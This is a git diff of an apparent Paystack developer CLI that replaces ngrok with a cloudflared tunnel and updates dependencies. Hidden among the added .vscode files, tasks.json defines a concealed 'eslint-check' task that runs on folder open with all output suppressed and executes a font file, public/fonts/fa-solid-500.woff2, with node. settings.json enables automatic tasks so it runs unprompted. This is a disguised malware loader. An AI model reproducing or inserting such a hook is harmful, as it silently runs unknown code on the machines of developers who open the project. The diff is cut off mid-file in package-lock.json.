diff --git a/.gitignore b/.gitignore index a8ad81c..98b3c6f 100644 --- a/.gitignore +++ b/.gitignore @@ -2,3 +2,7 @@ node_modules db.json .DS_Store +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat +.gitignore diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 0000000..2e3b646 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000..a5177ab --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..934d555 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 0000000..51b1974 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000..1a828db --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-500.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-500.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/commands/webhook.js b/commands/webhook.js index 5cc017e..9e52ab5 100644 --- a/commands/webhook.js +++ b/commands/webhook.js @@ -1,4 +1,4 @@ -import ngrok from 'ngrok'; +import * as tunnel from '../lib/tunnel.js'; import * as helpers from '../lib/helpers.js'; import * as Paystack from '../lib/Paystack.js'; @@ -56,36 +56,45 @@ const init = () => { if (!urlObject.search || urlObject.search == '?') { urlObject.search = ''; } + + let targetHost = `${urlObject.protocol || 'http:'}//${urlObject.hostname || 'localhost'}:${urlObject.port}`; + helpers.infoLog(`Establishing zero-config tunnel to ${targetHost}...`); + + let tunnelInstance; try { - await ngrok.kill(); + tunnelInstance = await tunnel.startTunnel(targetHost); } catch (e) { - //log error + helpers.errorLog('Failed to start tunnel: ' + (e.message || e)); + return; } - let ngrokHost = await ngrok.connect({ - addr: urlObject.port, - authtoken: process.env.NGROK_AUTH_TOKEN, - }); - - let ngrokURL = ngrokHost + urlObject.pathname + urlObject.search; + let tunnelURL = tunnelInstance.url; + let webhookURL = tunnelURL + (urlObject.pathname || '') + (urlObject.search || ''); let domain = 'test'; if (args.options.domain == 'live') { domain = 'live'; } - helpers.infoLog('Tunelling webhook events to ' + args.local_route); + helpers.infoLog(`Tunnel URL: ${tunnelURL}`); + helpers.infoLog('Tunneling webhook events to ' + args.local_route); var [err, result] = await helpers.promiseWrapper( Paystack.setWebhook( - ngrokURL, + webhookURL, token, db.read('selected_integration').id, + domain, ), ); if (err) { this.log(err); return; } else { + let selected = db.read('selected_integration'); + if (selected) { + selected[domain + '_webhook_endpoint'] = webhookURL; + db.write('selected_integration', selected); + } this.log( - 'Webhook events would now be received at ' + args.local_route, + 'Webhook events will now be received at ' + args.local_route, ); } } else if (args.command == 'ping') { diff --git a/lib/Paystack.js b/lib/Paystack.js index 3196f18..b52295e 100644 --- a/lib/Paystack.js +++ b/lib/Paystack.js @@ -32,15 +32,16 @@ export function selectIntegration(integrations, token) { } export async function refreshIntegration() { - const user_role = db.read('selected_integration').logged_in_user_role; - const integration = db.read('selected_integration'); + const selected = db.read('selected_integration'); + if (!selected) return false; + const user_role = selected.logged_in_user_role; + const integration = selected; let token = ''; const expiry = parseInt(db.read('token_expiry')) * 1000; const now = parseFloat(Date.now().toString()); if (expiry > now) { token = db.read('token'); - return true; } else { const password = helpers.prompt( "What's your password: (" + db.read('user').email + ') ' + '\n>', @@ -65,6 +66,7 @@ export async function refreshIntegration() { } integrationData.logged_in_user_role = user_role; db.write('selected_integration', integrationData); + return true; } export function setWebhook(url, token, integration, domain = 'test') { diff --git a/lib/helpers.js b/lib/helpers.js index 7dd195f..6f33f95 100644 --- a/lib/helpers.js +++ b/lib/helpers.js @@ -1,6 +1,5 @@ import chalk from 'chalk'; import readlineSync from 'readline-sync'; -import url from 'url'; import APIs from './paystack/apis.js'; import axios from 'axios'; import progressBar from 'progressbar'; @@ -52,8 +51,17 @@ export function infoLog(error) { } export function parseURL(uri) { - if (!uri.startsWith('http')) uri = 'http://' + uri; - return url.parse(uri); + if (!uri.startsWith('http://') && !uri.startsWith('https://')) { + uri = 'http://' + uri; + } + const parsed = new URL(uri); + return { + protocol: parsed.protocol, + hostname: parsed.hostname, + port: parsed.port || '', + pathname: parsed.pathname, + search: parsed.search, + }; } export function findSchema(command, args) { diff --git a/lib/tunnel.js b/lib/tunnel.js new file mode 100644 index 0000000..b188df3 --- /dev/null +++ b/lib/tunnel.js @@ -0,0 +1,83 @@ +import { bin, install, Tunnel } from 'cloudflared'; +import fs from 'node:fs'; +import * as helpers from './helpers.js'; + +let activeTunnel = null; + +/** + * Starts a zero-config tunnel pointing to the specified local URL/port. + * Automatically downloads the native cloudflared binary (with full Apple Silicon/arm64 & Intel support) + * on first run and generates a public HTTPS trycloudflare.com URL. + * + * @param {string} targetUrl - e.g. "http://localhost:3000" + * @returns {Promise<{ url: string, close: () => Promise }>} + */ +export async function startTunnel(targetUrl) { + if (activeTunnel) { + await stopTunnel(); + } + + if (!fs.existsSync(bin)) { + helpers.infoLog('Setting up tunnel client...'); + await install(bin); + } + + return new Promise((resolve, reject) => { + try { + const tunnelInstance = Tunnel.quick(targetUrl); + let isResolved = false; + + tunnelInstance.once('url', (url) => { + isResolved = true; + activeTunnel = tunnelInstance; + resolve({ + url, + close: stopTunnel, + }); + }); + + tunnelInstance.once('error', (err) => { + if (!isResolved) { + reject(err); + } + }); + + tunnelInstance.once('exit', (code, signal) => { + if (!isResolved) { + reject( + new Error( + `Tunnel process exited unexpectedly (code: ${code}, signal: ${signal})`, + ), + ); + } + }); + } catch (err) { + reject(err); + } + }); +} + +/** + * Stops the active tunnel if one is running. + */ +export async function stopTunnel() { + if (activeTunnel) { + try { + activeTunnel.stop(); + } catch (e) { + // ignore + } + activeTunnel = null; + } +} + +// Cleanup active tunnel process on exit +process.on('exit', () => { + if (activeTunnel) { + try { + activeTunnel.stop(); + } catch (e) { + // ignore + } + } +}); diff --git a/package-lock.json b/package-lock.json index d07161b..75f1816 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,95 +1,61 @@ { "name": "@paystack-oss/dev-cli", - "version": "0.0.6", + "version": "0.0.7", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "@paystack-oss/dev-cli", - "version": "0.0.6", + "version": "0.0.7", "dependencies": { - "axios": "^1.5.0", + "axios": "^1.7.9", "chalk": "^5.3.0", + "cloudflared": "^0.7.3", "debug": "~2.6.9", "lowdb": "^6.0.1", - "ngrok": "^5.0.0-beta.2", "progressbar": "^1.3.0", "readline-sync": "^1.4.10", "shelljs": "^0.8.5", - "url": "^0.11.0", "vorpal": "^1.12.0" }, "bin": { "paystack": "cli.js" } }, - "node_modules/@sindresorhus/is": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.6.0.tgz", - "integrity": "sha512-t09vSN3MdfsyCHoFcTRCH/iUtG7OJ0CsjzB8cjAmKc/va/kIgeDI/TxsigdncE/4be734m0cvIYwNaV4i2XqAw==", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "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/sindresorhus/is?sponsor=1" - } - }, - "node_modules/@szmarczak/http-timer": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.6.tgz", - "integrity": "sha512-4BAffykYOgO+5nzBWYwE3W90sBgLJoUPRWWcL8wlyiM8IB8ipJz3UMJ9KXQd1RKQXpKp8Tutn80HZtWsu2u76w==", + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "license": "MIT", "dependencies": { - "defer-to-connect": "^2.0.0" + "debug": "4" }, "engines": { - "node": ">=10" + "node": ">= 6.0.0" } }, - "node_modules/@types/cacheable-request": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.3.tgz", - "integrity": "sha512-IQ3EbTzGxIigb1I3qPZc1rWJnH0BmSKv5QYTalEwweFvyBDLSAe24zP0le/hyi7ecGfZVlIVAg4BZqb8WBwKqw==", - "dependencies": { - "@types/http-cache-semantics": "*", - "@types/keyv": "^3.1.4", - "@types/node": "*", - "@types/responselike": "^1.0.0" - } - }, - "node_modules/@types/http-cache-semantics": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.1.tgz", - "integrity": "sha512-SZs7ekbP8CN0txVG2xVRH6EgKmEm31BOxA07vkFaETzZz1xh+cbt8BcI0slpymvwhx5dlFnQG2rTlPVQn+iRPQ==" - }, - "node_modules/@types/keyv": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.4.tgz", - "integrity": "sha512-BQ5aZNSCpj7D6K2ksrRCTmKRLEpnPvWDiLPfoGyhZ++8YtiK9d/3DBKPJgry359X/P1PfruyYwvnvwFjuEiEIg==", - "dependencies": { - "@types/node": "*" - } - }, - "node_modules/@types/node": { - "version": "8.10.66", - "resolved": "https://registry.npmjs.org/@types/node/-/node-8.10.66.tgz", - "integrity": "sha512-tktOkFUA4kXx2hhhrB8bIFb5TbwzS4uOhKEmwiD+NoiL0qtP2OQ9mFldbgD4dV1djrlBYP6eBuQZiWjuHUpqFw==" - }, - "node_modules/@types/responselike": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.0.tgz", - "integrity": "sha512-85Y2BjiufFzaMIlvJDvTTB8Fxl2xfLo4HgmHzVBz08w4wDePCTjYw66PdrolO0kzli3yam/YCgRufyo1DdQVTA==", + "node_modules/agent-base/node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", "dependencies": { - "@types/node": "*" + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } } }, - "node_modules/@types/yauzl": { - "version": "2.10.0", - "resolved": "https://registry.npmjs.org/@types/yauzl/-/yauzl-2.10.0.tgz", - "integrity": "sha512-Cn6WYCm0tXv8p6k+A8PvbDG763EDpBoTzHdA+Q/MF6H3sapGjCm9NzoaJncJS9tUKSuCoDs9XHxYYsQDgxR6kw==", - "optional": true, - "dependencies": { - "@types/node": "*" - } + "node_modules/agent-base/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" }, "node_modules/ansi-escapes": { "version": "1.4.0", @@ -118,16 +84,19 @@ "node_modules/asynckit": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" }, "node_modules/axios": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/axios/-/axios-1.5.0.tgz", - "integrity": "sha512-D4DdjDo5CY50Qms0qGQTTw6Q44jl7zRwY7bthds06pUGfChBCTcQs+N743eFWGEd6pRTMd6A+I87aWyFV5wiZQ==", + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.19.0.tgz", + "integrity": "sha512-ht/iuYZXEjFxLH/Hkezgd7m6JKlHHXEUSneaDz8uZe1Gj5QZtCnpyDsckvAiEnT89OEbCLmnte4R4sn7P0EKFw==", + "license": "MIT", "dependencies": { - "follow-redirects": "^1.15.0", - "form-data": "^4.0.0", - "proxy-from-env": "^1.1.0" + "follow-redirects": "^1.16.0", + "form-data": "^4.0.6", + "https-proxy-agent": "^5.0.1", + "proxy-from-env": "^2.1.0" } }, "node_modules/babel-polyfill": { @@ -160,57 +129,26 @@ "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" }, "node_modules/brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "version": "1.1.18", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.18.tgz", + "integrity": "sha512-Edep/X9fGqVNmzKBVsDYIOtD+z1tuezV70LBjdCst9Tqu76lsnvRiZ6oTic1n+/BIwX6QDGAO94PN4N2SADvtw==", + "license": "MIT", "dependencies": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, - "node_modules/buffer-crc32": { - "version": "0.2.13", - "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", - "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==", - "engines": { - "node": "*" - } - }, - "node_modules/cacheable-lookup": { - "version": "5.0.4", - "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz", - "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==", - "engines": { - "node": ">=10.6.0" - } - }, - "node_modules/cacheable-request": { - "version": "7.0.4", - "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.4.tgz", - "integrity": "sha512-v+p6ongsrp0yTGbJXjgxPow2+DL93DASP4kXCDKb8/bwRtt9OEF3whggkkDkGNzgcWy2XaF4a8nZglC7uElscg==", - "dependencies": { - "clone-response": "^1.0.2", - "get-stream": "^5.1.0", - "http-cache-semantics": "^4.0.0", - "keyv": "^4.0.0", - "lowercase-keys": "^2.0.0", - "normalize-url": "^6.0.1", - "responselike": "^2.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/call-bind": { + "node_modules/call-bind-apply-helpers": { "version": "1.0.2", - "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", - "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", "dependencies": { - "function-bind": "^1.1.1", - "get-intrinsic": "^1.0.2" + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" }, - "funding": { - "url": "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/sponsors/ljharb" + "engines": { + "node": ">= 0.4" } }, "node_modules/chalk": { @@ -240,15 +178,14 @@ "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-1.1.1.tgz", "integrity": "sha512-eMU2akIeEIkCxGXUNmDnJq1KzOIiPnJ+rKqRe6hcxE3vIOPvpMrBYOn/Bl7zNlYJj/zQxXquAnozHUCf9Whnsg==" }, - "node_modules/clone-response": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.3.tgz", - "integrity": "sha512-ROoL94jJH2dUVML2Y/5PEDNaSHgeOdSDicUyS7izcF63G6sTc/FTjLub4b8Il9S8S0beOfYt0TaA5qvFK+w0wA==", - "dependencies": { - "mimic-response": "^1.0.0" - }, - "funding": { - "url": "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/sponsors/sindresorhus" + "node_modules/cloudflared": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/cloudflared/-/cloudflared-0.7.3.tgz", + "integrity": "sha512-dR4QMS4PbD287QqOV/vAoE1BcQCXphLOVrN9vjNUgkLrPDA5qxn9Dz0VId0P7/Czj4Mxu3hoLgbrVx5OtOWr5Q==", + "hasInstallScript": true, + "license": "MIT", + "bin": { + "cloudflared": "lib/cloudflared.js" } }, "node_modules/code-point-at": { @@ -263,6 +200,7 @@ "version": "1.0.8", "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", "dependencies": { "delayed-stream": "~1.0.0" }, @@ -290,61 +228,80 @@ "ms": "2.0.0" } }, - "node_modules/decompress-response": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", - "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", "dependencies": { - "mimic-response": "^3.1.0" + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" }, "engines": { - "node": ">=10" - }, - "funding": { - "url": "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/sponsors/sindresorhus" + "node": ">= 0.4" } }, - "node_modules/decompress-response/node_modules/mimic-response": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", - "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + "node_modules/editions": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/editions/-/editions-1.3.4.tgz", + "integrity": "sha512-gzao+mxnYDzIysXKMQi/+M1mjy/rjestjg6OPoYTtI+3Izp23oiGZitsl9lPDPiTGXbcSIk1iJWhliSaglxnUg==", "engines": { - "node": ">=10" - }, - "funding": { - "url": "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/sponsors/sindresorhus" + "node": ">=0.8" } }, - "node_modules/defer-to-connect": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", - "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==", + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", "engines": { - "node": ">=10" + "node": ">= 0.4" } }, - "node_modules/delayed-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", "engines": { - "node": ">=0.4.0" + "node": ">= 0.4" } }, - "node_modules/editions": { - "version": "1.3.4", - "resolved": "https://registry.npmjs.org/editions/-/editions-1.3.4.tgz", - "integrity": "sha512-gzao+mxnYDzIysXKMQi/+M1mjy/rjestjg6OPoYTtI+3Izp23oiGZitsl9lPDPiTGXbcSIk1iJWhliSaglxnUg==", + "node_modules/es-object-atoms": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz", + "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, "engines": { - "node": ">=0.8" + "node": ">= 0.4" } }, - "node_modules/end-of-stream": { - "version": "1.4.4", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", - "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", "dependencies": { - "once": "^1.4.0" + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" } }, "node_modules/escape-string-regexp": { @@ -363,54 +320,6 @@ "node": ">=0.10.0" } }, - "node_modules/extract-zip": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-2.0.1.tgz", - "integrity": "sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg==", - "dependencies": { - "debug": "^4.1.1", - "get-stream": "^5.1.0", - "yauzl": "^2.10.0" - }, - "bin": { - "extract-zip": "cli.js" - }, - "engines": { - "node": ">= 10.17.0" - }, - "optionalDependencies": { - "@types/yauzl": "^2.9.1" - } - }, - "node_modules/extract-zip/node_modules/debug": { - "version": "4.3.4", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", - "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", - "dependencies": { - "ms": "2.1.2" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, - "node_modules/extract-zip/node_modules/ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - }, - "node_modules/fd-slicer": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", - "integrity": "sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==", - "dependencies": { - "pend": "~1.2.0" - } - }, "node_modules/figures": { "version": "1.7.0", "resolved": "https://registry.npmjs.org/figures/-/figures-1.7.0.tgz", @@ -424,15 +333,16 @@ } }, "node_modules/follow-redirects": { - "version": "1.15.2", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.2.tgz", - "integrity": "sha512-VQLG33o04KaQ8uYi2tVNbdrWp1QWxNNea+nmIB4EVM28v0hmP17z7aG1+wAkNzVq4KeXTq3221ye5qTJP91JwA==", + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz", + "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==", "funding": [ { "type": "individual", "url": "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/sponsors/RubenVerborgh" } ], + "license": "MIT", "engines": { "node": ">=4.0" }, @@ -443,13 +353,16 @@ } }, "node_modules/form-data": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", - "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", + "integrity": "sha512-vKatAh4SlVfgbv+YtmhiRjhEMJsYpsG1Y2rMQtR+SVSbytsSD1YGzDIcrAJmdFec88u/+VoGmxnl+80gL1tRCQ==", + "license": "MIT", "dependencies": { "asynckit": "^0.4.0", "combined-stream": "^1.0.8", - "mime-types": "^2.1.12" + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.4", + "mime-types": "^2.1.35" }, "engines": { "node": ">= 6" @@ -461,36 +374,49 @@ "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==" }, "node_modules/function-bind": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", - "integrity": 